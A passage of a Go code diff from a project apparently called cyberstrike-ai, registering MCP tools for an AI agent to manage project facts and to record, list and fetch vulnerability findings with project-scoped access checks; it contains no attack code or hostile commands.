}
|
||||||
|
mcpServer.RegisterTool(listTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
limit := intArg(args, "limit", 50)
|
||||||
|
offset := intArg(args, "offset", 0)
|
||||||
|
filter := database.ProjectFactListFilter{
|
||||||
|
Category: strArg(args, "category"),
|
||||||
|
Confidence: strArg(args, "confidence"),
|
||||||
|
}
|
||||||
|
list, err := db.ListProjectFacts(projectID, filter, limit, offset)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("共 %d 条(limit=%d offset=%d):\n", len(list), limit, offset))
|
||||||
|
for _, f := range list {
|
||||||
|
b.WriteString(fmt.Sprintf("- [%s] %s — %s (%s)\n", f.FactKey, f.Category, f.Summary, f.Confidence))
|
||||||
|
}
|
||||||
|
return textResult(b.String(), false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
searchTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolSearchProjectFacts,
|
||||||
|
Description: "按关键词搜索项目事实(summary/body/fact_key)。",
|
||||||
|
ShortDescription: "搜索项目事实",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"query": map[string]interface{}{"type": "string"},
|
||||||
|
"limit": map[string]interface{}{"type": "integer"},
|
||||||
|
"offset": map[string]interface{}{"type": "integer"},
|
||||||
|
},
|
||||||
|
"required": []string{"query"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
mcpServer.RegisterTool(searchTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
q := strings.TrimSpace(strArg(args, "query"))
|
||||||
|
if q == "" {
|
||||||
|
return textResult("错误: query 必填", true), nil
|
||||||
|
}
|
||||||
|
list, err := db.ListProjectFacts(projectID, database.ProjectFactListFilter{Search: q}, intArg(args, "limit", 30), intArg(args, "offset", 0))
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("搜索 \"%s\" 命中 %d 条:\n", q, len(list)))
|
||||||
|
for _, f := range list {
|
||||||
|
b.WriteString(fmt.Sprintf("- [%s] %s — %s\n", f.FactKey, f.Category, f.Summary))
|
||||||
|
}
|
||||||
|
return textResult(b.String(), false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
deprecateTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolDeprecateProjectFact,
|
||||||
|
Description: "将事实标记为 deprecated,从黑板索引中排除。",
|
||||||
|
ShortDescription: "废弃项目事实",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"fact_key": map[string]interface{}{"type": "string"},
|
||||||
|
},
|
||||||
|
"required": []string{"fact_key"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
mcpServer.RegisterTool(deprecateTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||||
|
if err := db.DeprecateProjectFact(projectID, key); err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
return textResult("事实已标记为 deprecated: "+key, false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
restoreTool := mcp.Tool{
|
||||||
|
Name: builtin.ToolRestoreProjectFact,
|
||||||
|
Description: "将已废弃(deprecated)的事实恢复为 tentative 或 confirmed,重新参与黑板索引。",
|
||||||
|
ShortDescription: "恢复已废弃的项目事实",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"fact_key": map[string]interface{}{"type": "string"},
|
||||||
|
"confidence": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "恢复后的置信度:tentative(默认)或 confirmed",
|
||||||
|
"enum": []string{"tentative", "confirmed"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"fact_key"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
mcpServer.RegisterTool(restoreTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
projectID, err := projectIDFromConversation(db, ctx)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||||
|
if key == "" {
|
||||||
|
return textResult("错误: fact_key 必填", true), nil
|
||||||
|
}
|
||||||
|
conf := strArg(args, "confidence")
|
||||||
|
if err := db.RestoreProjectFact(projectID, key, conf); err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if conf == "" {
|
||||||
|
conf = "tentative"
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("事实已恢复为 %s: %s", conf, key), false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
if logger != nil {
|
||||||
|
logger.Debug("项目黑板 MCP 工具注册成功")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func strArg(args map[string]interface{}, key string) string {
|
||||||
|
if v, ok := args[key].(string); ok {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func boolArg(args map[string]interface{}, key string) bool {
|
||||||
|
if v, ok := args[key].(bool); ok {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func intArg(args map[string]interface{}, key string, def int) int {
|
||||||
|
switch v := args[key].(type) {
|
||||||
|
case float64:
|
||||||
|
return int(v)
|
||||||
|
case int:
|
||||||
|
return v
|
||||||
|
case int64:
|
||||||
|
return int(v)
|
||||||
|
default:
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/vision"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func registerVisionTools(mcpServer *mcp.Server, cfg *config.Config, logger *zap.Logger) {
|
||||||
|
vision.RegisterAnalyzeImageTool(mcpServer, cfg, logger)
|
||||||
|
}
|
||||||
@@ -0,0 +1,466 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/agent"
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func conversationIDFromToolCtx(ctx context.Context) string {
|
||||||
|
if id := agent.ConversationIDFromContext(ctx); id != "" {
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
return mcp.MCPConversationIDFromContext(ctx)
|
||||||
|
}
|
||||||
|
|
||||||
|
// canAccessVulnerability 校验当前对话是否有权查看该漏洞(默认项目隔离,未绑项目则仅本会话)。
|
||||||
|
func canAccessVulnerability(vuln *database.Vulnerability, convID, projectID string) bool {
|
||||||
|
if vuln == nil || convID == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if projectID != "" {
|
||||||
|
if strings.TrimSpace(vuln.ProjectID) == projectID {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// 历史记录:写入时尚未绑定 project_id,但属于同一会话
|
||||||
|
if strings.TrimSpace(vuln.ProjectID) == "" && vuln.ConversationID == convID {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return vuln.ConversationID == convID
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildVulnerabilityListFilter(db *database.DB, ctx context.Context, args map[string]interface{}) (database.VulnerabilityListFilter, string, error) {
|
||||||
|
convID := conversationIDFromToolCtx(ctx)
|
||||||
|
if convID == "" {
|
||||||
|
return database.VulnerabilityListFilter{}, "", fmt.Errorf("无法确定当前对话,请在对话上下文中使用漏洞查询工具")
|
||||||
|
}
|
||||||
|
|
||||||
|
projectID := ""
|
||||||
|
if pid, err := db.GetConversationProjectID(convID); err == nil {
|
||||||
|
projectID = strings.TrimSpace(pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
scope := strings.TrimSpace(strArg(args, "scope"))
|
||||||
|
if scope == "" {
|
||||||
|
if projectID != "" {
|
||||||
|
scope = "project"
|
||||||
|
} else {
|
||||||
|
scope = "conversation"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
filter := database.VulnerabilityListFilter{
|
||||||
|
Severity: strings.TrimSpace(strArg(args, "severity")),
|
||||||
|
Status: strings.TrimSpace(strArg(args, "status")),
|
||||||
|
}
|
||||||
|
if q := strings.TrimSpace(strArg(args, "q")); q != "" {
|
||||||
|
filter.Search = q
|
||||||
|
} else {
|
||||||
|
filter.Search = strings.TrimSpace(strArg(args, "search"))
|
||||||
|
}
|
||||||
|
|
||||||
|
var scopeLabel string
|
||||||
|
switch scope {
|
||||||
|
case "project":
|
||||||
|
if projectID == "" {
|
||||||
|
return filter, "", fmt.Errorf("当前对话未绑定项目,无法按项目列出漏洞;请使用 scope=conversation,或先在对话中绑定项目")
|
||||||
|
}
|
||||||
|
filter.ProjectID = projectID
|
||||||
|
scopeLabel = fmt.Sprintf("项目 %s", projectID)
|
||||||
|
case "conversation":
|
||||||
|
filter.ConversationID = convID
|
||||||
|
scopeLabel = fmt.Sprintf("会话 %s", convID)
|
||||||
|
default:
|
||||||
|
return filter, "", fmt.Errorf("scope 仅支持 project 或 conversation,当前值: %s", scope)
|
||||||
|
}
|
||||||
|
return filter, scopeLabel, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatVulnerabilityListItem(v *database.Vulnerability) string {
|
||||||
|
line := fmt.Sprintf("- id=%s | %s | %s | %s", v.ID, v.Severity, v.Status, v.Title)
|
||||||
|
if v.Type != "" {
|
||||||
|
line += fmt.Sprintf(" | type=%s", v.Type)
|
||||||
|
}
|
||||||
|
if v.Target != "" {
|
||||||
|
line += fmt.Sprintf(" | target=%s", truncateRunes(v.Target, 80))
|
||||||
|
}
|
||||||
|
return line
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatVulnerabilityDetail(v *database.Vulnerability) string {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("漏洞ID: %s\n", v.ID))
|
||||||
|
b.WriteString(fmt.Sprintf("标题: %s\n", v.Title))
|
||||||
|
b.WriteString(fmt.Sprintf("严重程度: %s\n", v.Severity))
|
||||||
|
b.WriteString(fmt.Sprintf("状态: %s\n", v.Status))
|
||||||
|
if v.Type != "" {
|
||||||
|
b.WriteString(fmt.Sprintf("类型: %s\n", v.Type))
|
||||||
|
}
|
||||||
|
if v.Target != "" {
|
||||||
|
b.WriteString(fmt.Sprintf("目标: %s\n", v.Target))
|
||||||
|
}
|
||||||
|
if v.ProjectID != "" {
|
||||||
|
b.WriteString(fmt.Sprintf("项目ID: %s\n", v.ProjectID))
|
||||||
|
}
|
||||||
|
b.WriteString(fmt.Sprintf("会话ID: %s\n", v.ConversationID))
|
||||||
|
if !v.CreatedAt.IsZero() {
|
||||||
|
b.WriteString(fmt.Sprintf("创建时间: %s\n", v.CreatedAt.Format("2006-01-02 15:04:05")))
|
||||||
|
}
|
||||||
|
if v.Description != "" {
|
||||||
|
b.WriteString("\n--- 描述 ---\n")
|
||||||
|
b.WriteString(v.Description)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.Preconditions != "" {
|
||||||
|
b.WriteString("\n--- 前置条件 ---\n")
|
||||||
|
b.WriteString(v.Preconditions)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.ReproSteps != "" {
|
||||||
|
b.WriteString("\n--- 复现步骤 ---\n")
|
||||||
|
b.WriteString(v.ReproSteps)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.Evidence != "" {
|
||||||
|
b.WriteString("\n--- 证据 / POC ---\n")
|
||||||
|
b.WriteString(v.Evidence)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.Impact != "" {
|
||||||
|
b.WriteString("\n--- 影响 ---\n")
|
||||||
|
b.WriteString(v.Impact)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.Recommendation != "" {
|
||||||
|
b.WriteString("\n--- 修复建议 ---\n")
|
||||||
|
b.WriteString(v.Recommendation)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if v.RetestNotes != "" {
|
||||||
|
b.WriteString("\n--- 复测方式 ---\n")
|
||||||
|
b.WriteString(v.RetestNotes)
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func missingVulnerabilityReproFields(args map[string]interface{}) []string {
|
||||||
|
required := []struct {
|
||||||
|
key string
|
||||||
|
label string
|
||||||
|
}{
|
||||||
|
{"target", "target(受影响的 URL/IP/服务/接口)"},
|
||||||
|
{"vulnerability_type", "vulnerability_type(漏洞类型)"},
|
||||||
|
{"description", "description(漏洞摘要与触发点)"},
|
||||||
|
{"reproduction_steps", "reproduction_steps(可逐步执行的复现步骤)"},
|
||||||
|
{"evidence", "evidence(POC、原始请求/响应、命令输出或截图/日志证据)"},
|
||||||
|
{"impact", "impact(确认后的实际影响)"},
|
||||||
|
{"recommendation", "recommendation(修复建议)"},
|
||||||
|
}
|
||||||
|
missing := make([]string, 0)
|
||||||
|
for _, item := range required {
|
||||||
|
if strings.TrimSpace(strArg(args, item.key)) == "" {
|
||||||
|
missing = append(missing, item.label)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return missing
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateRunes(s string, max int) string {
|
||||||
|
r := []rune(s)
|
||||||
|
if len(r) <= max {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return string(r[:max]) + "…"
|
||||||
|
}
|
||||||
|
|
||||||
|
// registerVulnerabilityTools 注册漏洞记录与查询 MCP 工具。
|
||||||
|
func registerVulnerabilityTools(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||||
|
registerRecordVulnerabilityTool(mcpServer, db, logger)
|
||||||
|
registerListVulnerabilitiesTool(mcpServer, db, logger)
|
||||||
|
registerGetVulnerabilityTool(mcpServer, db, logger)
|
||||||
|
if logger != nil {
|
||||||
|
logger.Debug("漏洞 MCP 工具注册成功", zap.Strings("tools", []string{
|
||||||
|
builtin.ToolRecordVulnerability,
|
||||||
|
builtin.ToolListVulnerabilities,
|
||||||
|
builtin.ToolGetVulnerability,
|
||||||
|
}))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerRecordVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||||
|
tool := mcp.Tool{
|
||||||
|
Name: builtin.ToolRecordVulnerability,
|
||||||
|
Description: "记录发现的漏洞详情到漏洞管理系统。必须按“仅看本记录即可复现”的标准填写:目标、漏洞类型、触发点、复现步骤、证据/POC、实际影响和修复建议;前置条件与复测方式为推荐填写项。边渗透边记录:每验证出一条可复现漏洞后立即调用,勿等会话结束。记录前可先 list_vulnerabilities 避免重复。",
|
||||||
|
ShortDescription: "记录可复现的漏洞详情到漏洞管理系统",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"title": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞标题(必需)。建议格式:<资产/接口> 存在 <漏洞类型>,例如“/api/login 存在 SQL 注入”。",
|
||||||
|
},
|
||||||
|
"description": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞摘要与触发点(必需):说明哪个功能/参数/入口存在问题、为什么可被利用。不要只写结论。",
|
||||||
|
},
|
||||||
|
"severity": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞严重程度:critical(严重)、high(高)、medium(中)、low(低)、info(信息)",
|
||||||
|
"enum": []string{"critical", "high", "medium", "low", "info"},
|
||||||
|
},
|
||||||
|
"vulnerability_type": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞类型,如:SQL注入、XSS、CSRF、命令注入等(必需)",
|
||||||
|
},
|
||||||
|
"target": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "受影响的目标(必需):尽量精确到 URL、IP:端口、服务名、接口路径和参数名。",
|
||||||
|
},
|
||||||
|
"preconditions": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "前置条件(推荐填写):登录状态、权限、账号、Header/Cookie、特定数据、网络位置、环境/版本等;无前置条件可写“无”。",
|
||||||
|
},
|
||||||
|
"reproduction_steps": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "复现步骤(必需):按 1/2/3 编号,写清入口、参数、payload、执行命令、观察点。应让未参与对话的人照做即可复现。",
|
||||||
|
},
|
||||||
|
"evidence": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "证据 / POC(必需):原始 HTTP 请求/响应、curl/工具命令、截图文字说明、日志、DNSLog/回连记录、数据库结果、文件路径、时间戳等。优先放最小可验证证据。",
|
||||||
|
},
|
||||||
|
"impact": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞影响说明(必需):结合已验证事实说明可造成什么后果,避免泛泛而谈。",
|
||||||
|
},
|
||||||
|
"recommendation": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "修复建议(必需):给出针对该触发点/参数/组件的具体修复和复测建议。",
|
||||||
|
},
|
||||||
|
"retest_notes": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "复测方式(推荐填写):修复后如何验证漏洞已关闭,包括应返回的状态码、错误信息或访问控制结果。",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"title", "description", "severity", "vulnerability_type", "target", "reproduction_steps", "evidence", "impact", "recommendation"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
conversationID := strings.TrimSpace(strArg(args, "conversation_id"))
|
||||||
|
if conversationID == "" {
|
||||||
|
conversationID = conversationIDFromToolCtx(ctx)
|
||||||
|
}
|
||||||
|
if conversationID == "" {
|
||||||
|
return textResult("错误: conversation_id 未设置。这是系统错误,请重试。", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
title := strings.TrimSpace(strArg(args, "title"))
|
||||||
|
if title == "" {
|
||||||
|
return textResult("错误: title 参数必需且不能为空", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
severity := strings.TrimSpace(strArg(args, "severity"))
|
||||||
|
if severity == "" {
|
||||||
|
return textResult("错误: severity 参数必需且不能为空", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
validSeverities := map[string]bool{
|
||||||
|
"critical": true, "high": true, "medium": true, "low": true, "info": true,
|
||||||
|
}
|
||||||
|
if !validSeverities[severity] {
|
||||||
|
return textResult(fmt.Sprintf("错误: severity 必须是 critical、high、medium、low 或 info 之一,当前值: %s", severity), true), nil
|
||||||
|
}
|
||||||
|
if missing := missingVulnerabilityReproFields(args); len(missing) > 0 {
|
||||||
|
return textResult("错误: 漏洞记录缺少必填信息,请补充后再记录:\n- "+strings.Join(missing, "\n- ")+"\n\n必填项用于确保单条记录可独立复现;前置条件和复测方式为推荐填写项。", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
projectID := ""
|
||||||
|
if pid, perr := db.GetConversationProjectID(conversationID); perr == nil {
|
||||||
|
projectID = strings.TrimSpace(pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln := &database.Vulnerability{
|
||||||
|
ConversationID: conversationID,
|
||||||
|
ProjectID: projectID,
|
||||||
|
Title: title,
|
||||||
|
Description: strArg(args, "description"),
|
||||||
|
Severity: severity,
|
||||||
|
Status: "open",
|
||||||
|
Type: strArg(args, "vulnerability_type"),
|
||||||
|
Target: strArg(args, "target"),
|
||||||
|
Preconditions: strArg(args, "preconditions"),
|
||||||
|
ReproSteps: strArg(args, "reproduction_steps"),
|
||||||
|
Evidence: strArg(args, "evidence"),
|
||||||
|
Impact: strArg(args, "impact"),
|
||||||
|
Recommendation: strArg(args, "recommendation"),
|
||||||
|
RetestNotes: strArg(args, "retest_notes"),
|
||||||
|
}
|
||||||
|
|
||||||
|
created, err := db.CreateVulnerability(vuln)
|
||||||
|
if err != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Error("记录漏洞失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
return textResult(fmt.Sprintf("记录漏洞失败: %v", err), true), nil
|
||||||
|
}
|
||||||
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
|
_ = db.SetResourceOwner("vulnerability", created.ID, principal.UserID)
|
||||||
|
_ = db.AssignResourceToUser(principal.UserID, "vulnerability", created.ID)
|
||||||
|
}
|
||||||
|
db.NotifyVulnerabilityCreated(created)
|
||||||
|
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("漏洞记录成功",
|
||||||
|
zap.String("id", created.ID),
|
||||||
|
zap.String("title", created.Title),
|
||||||
|
zap.String("severity", created.Severity),
|
||||||
|
zap.String("conversation_id", conversationID),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
return textResult(fmt.Sprintf("漏洞已成功记录!\n\n漏洞ID: %s\n标题: %s\n严重程度: %s\n状态: %s\n\n可使用 get_vulnerability(id) 查看详情,或 list_vulnerabilities 查看列表。",
|
||||||
|
created.ID, created.Title, created.Severity, created.Status), false), nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||||
|
tool := mcp.Tool{
|
||||||
|
Name: builtin.ToolListVulnerabilities,
|
||||||
|
Description: "列出当前授权范围内的漏洞(摘要)。默认:对话已绑定项目时列出该项目下全部漏洞;未绑项目时仅列出当前会话漏洞。可用 scope=conversation 仅看本会话。记录新漏洞前建议先调用以避免重复。",
|
||||||
|
ShortDescription: "列出漏洞(默认当前项目)",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"scope": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "范围:project(默认,需绑定项目)| conversation(仅当前会话)",
|
||||||
|
"enum": []string{"project", "conversation"},
|
||||||
|
},
|
||||||
|
"severity": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "按严重程度筛选:critical、high、medium、low、info",
|
||||||
|
"enum": []string{"critical", "high", "medium", "low", "info"},
|
||||||
|
},
|
||||||
|
"status": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
|
||||||
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
|
},
|
||||||
|
"q": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "关键词搜索(标题、描述、类型、目标等)",
|
||||||
|
},
|
||||||
|
"limit": map[string]interface{}{
|
||||||
|
"type": "integer",
|
||||||
|
"description": "返回条数上限,默认 30,最大 100",
|
||||||
|
},
|
||||||
|
"offset": map[string]interface{}{
|
||||||
|
"type": "integer",
|
||||||
|
"description": "分页偏移,默认 0",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
filter, scopeLabel, err := buildVulnerabilityListFilter(db, ctx, args)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
limit := intArg(args, "limit", 30)
|
||||||
|
if limit <= 0 || limit > 100 {
|
||||||
|
limit = 30
|
||||||
|
}
|
||||||
|
offset := intArg(args, "offset", 0)
|
||||||
|
if offset < 0 {
|
||||||
|
offset = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
total, err := db.CountVulnerabilities(filter)
|
||||||
|
if err != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Warn("统计漏洞失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
total = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
list, err := db.ListVulnerabilities(limit, offset, filter)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("范围: %s\n总计: %d | 本页: %d 条 (limit=%d offset=%d)\n\n", scopeLabel, total, len(list), limit, offset))
|
||||||
|
if len(list) == 0 {
|
||||||
|
b.WriteString("(暂无漏洞记录)\n")
|
||||||
|
} else {
|
||||||
|
for _, v := range list {
|
||||||
|
b.WriteString(formatVulnerabilityListItem(v))
|
||||||
|
b.WriteString("\n")
|
||||||
|
}
|
||||||
|
if total > offset+len(list) {
|
||||||
|
b.WriteString(fmt.Sprintf("\n(还有更多,可增大 offset 或使用 q/severity/status 筛选)\n"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b.WriteString("\n需要 POC 与完整字段请对具体 id 调用 get_vulnerability。")
|
||||||
|
return textResult(b.String(), false), nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func registerGetVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||||
|
tool := mcp.Tool{
|
||||||
|
Name: builtin.ToolGetVulnerability,
|
||||||
|
Description: "按漏洞 ID 获取完整详情(含 POC、影响、修复建议)。仅能访问当前项目或当前会话下的漏洞(与 list_vulnerabilities 授权范围一致)。",
|
||||||
|
ShortDescription: "按 ID 获取漏洞详情",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"id": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "漏洞 ID(list_vulnerabilities 返回的 id)",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"id"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
convID := conversationIDFromToolCtx(ctx)
|
||||||
|
if convID == "" {
|
||||||
|
return textResult("错误: 无法确定当前对话,请在对话上下文中使用本工具", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
id := strings.TrimSpace(strArg(args, "id"))
|
||||||
|
if id == "" {
|
||||||
|
return textResult("错误: id 必填", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln, err := db.GetVulnerability(id)
|
||||||
|
if err != nil {
|
||||||
|
return textResult("错误: 漏洞不存在或查询失败", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
projectID := ""
|
||||||
|
if pid, perr := db.GetConversationProjectID(convID); perr == nil {
|
||||||
|
projectID = strings.TrimSpace(pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !canAccessVulnerability(vuln, convID, projectID) {
|
||||||
|
return textResult("错误: 无权访问该漏洞(仅可查看当前项目或当前会话下的记录)", true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return textResult(formatVulnerabilityDetail(vuln), false), nil
|
||||||
|
})
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,449 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAssetURLNormalizationAndValidation(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "asset-validation.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
asset := &Asset{Host: "https://例子.测试/path", Tags: []string{" prod ", "prod"}}
|
||||||
|
result, err := db.UpsertAssets([]*Asset{asset}, "")
|
||||||
|
if err != nil || result.Created != 1 {
|
||||||
|
